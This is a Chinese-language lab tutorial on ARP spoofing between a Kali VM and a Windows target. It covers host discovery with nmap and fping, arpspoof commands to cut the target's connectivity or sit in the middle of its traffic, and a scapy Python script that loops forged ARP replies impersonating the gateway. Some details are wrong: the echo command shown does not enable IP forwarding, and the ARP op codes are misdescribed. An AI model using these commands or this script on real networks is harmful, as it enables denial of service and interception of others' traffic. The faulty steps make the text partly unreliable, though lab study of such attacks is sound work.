ARP欺骗

环境搭建

  • 准备一台kali虚拟机
  • 一台win靶机

工具下载

安装arpspoof工具

1
arpspoof #会提示安装,输入y安装

断网攻击

kali:

使用nmap或fping判断存活主机

1
2
nmap -sP 192.168.x.*
fping -asg 192.168.x.0/24

在本地查看当前网关

1
cat /etc/resolv.conf

此时win虚拟机ping百度是可以ping通的

windows:

Untitled

开始攻击

1
arpspoof -i 网卡[eth0] -t [目标ip] [网关]

Untitled1

观察目标主机

windows:

已经ping不通百度了

Untitled2

原理:

攻击机假冒局域网网关,致使主机上不了网

可以通过在攻击前后在windows上使用命令arp -a查看网关的MAC地址的变化

攻击前的网关的MAC就是网关的MAC地址

而攻击后的网关的MAC地址,即为攻击机的MAC地址

当执行断网攻击的时候,攻击机会冒充网关给靶机发送arp报文

Untitled3

ARP欺骗(不断网)

1
2
3
4
cat /proc/sys/net/ipv4/ip_forward #查看
echo /proc/sys/net/ipv4/ip_forward #开启ip转发功能
1 #转发
0 #拦截

欺骗攻击

1
arpspoof -i [网卡] -t [网关] [地址] 

此时就不会拦截

ARP断网攻击(python脚本)

根据ARP报文格式分析各项参数

ARP报文

Untitled4

以太网帧头:

目的MAC地址(Dst)

源MAC地址(Src)

Untitled5

ARP报文:

操作类型(op):0为ARP请求数据包,1为ARP应答数据包

源MAC地址(hwsrc)

源IP地址(psrc)

目的MAC地址(hwdst)

目的IP地址(pdst)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from scapy.all import *
#ip
target_ip='192.168.60.108'
local_ip='192.168.60.79'
gateway_ip='192.168.60.254'
#mac
target_mac=getmacbyip(target_ip)
mac=get_if_hwaddr("eth0")
gateway_mac=getmacbyip(gateway_ip)

packet=Ether(dst=target_mac,src=mac)/ARP(op=1,hwsrc=mac,
psrc=gateway_ip,hwdst=target_mac,pdst=target_ip)

while 1:
sendp(packet,inter = 2,iface="eth0")

运行结果

Untitled6